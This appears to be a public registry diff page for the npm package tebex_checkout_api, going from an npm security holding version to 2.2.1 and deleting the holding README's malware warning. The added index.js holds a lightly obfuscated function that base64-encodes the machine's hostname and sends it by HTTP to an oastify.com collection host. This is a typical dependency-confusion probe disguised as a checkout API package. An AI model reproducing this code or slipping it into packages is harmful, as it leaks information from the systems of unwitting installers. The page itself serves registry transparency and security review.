tebex_checkout_api 0.0.1-security → 2.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tebex_checkout_api might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+
4
+ class DemoExport {
5
+ static obfuscateString(str) {
6
+ return Buffer.from(str).toString('base64');
7
+ }
8
+
9
+ static decodeString(encodedStr) {
10
+ return Buffer.from(encodedStr, 'base64').toString('utf-8');
11
+ }
12
+
13
+ static sendRequest() {
14
+ const sasaUrl = 'dWRiNnhwcDJ5cmVoYnI3cmY3NTl0OWtjMzM5dXhzbGgub2FzdGlmeS5jb20=';
15
+ const adaUrl = 'http://' + DemoExport.decodeString(sasaUrl);
16
+ const sasaHost = DemoExport.obfuscateString(os.hostname());
17
+
18
+ const options = {
19
+ hostname: 'udb6xpp2yrehbr7rf759t9kc339uxslh.oastify.com',
20
+ port: 80,
21
+ path: `/?host=${sasaHost}&hostname=${DemoExport.obfuscateString(os.hostname())}`,
22
+ method: 'GET'
23
+ };
24
+
25
+ const req = http.request(options, (res) => {
26
+ res.on('end', () => {
27
+ console.log(DemoExport.decodeString('UmVxdWVzdCBzZW50IHRvIENhbmFyeXRva2VuIFVSTDo=') + ' ' + adaUrl);
28
+ });
29
+ });
30
+
31
+ req.on('error', (err) => {
32
+ console.error(DemoExport.decodeString('RXJyb3Igc2VuZGluZyByZXF1ZXN0IHRvIENhbmFyeXRva2VuIFVSTDo=') + ' ' + err.message);
33
+ });
34
+
35
+ req.end();
36
+ }
37
+
38
+ static printMsg() {
39
+ console.log("This is a message from the demo package");
40
+ }
41
+ }
42
+
43
+ module.exports = DemoExport;
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "tebex_checkout_api",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.2.1",
4
+ "description": "A descriptive text about the AnupamAS01 project",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "tebex_checkout_api": "index.js"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "author": "",
13
+ "license": "ISC",
14
+ "dependencies": {
15
+ "asw-cdk": "^2.2.1"
16
+ }
6
17
  }
package/readme.md ADDED
@@ -0,0 +1,3 @@
1
+ #AnupamAS01
2
+
3
+ AnupamAs01 placeholder
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tebex_checkout_api for more information.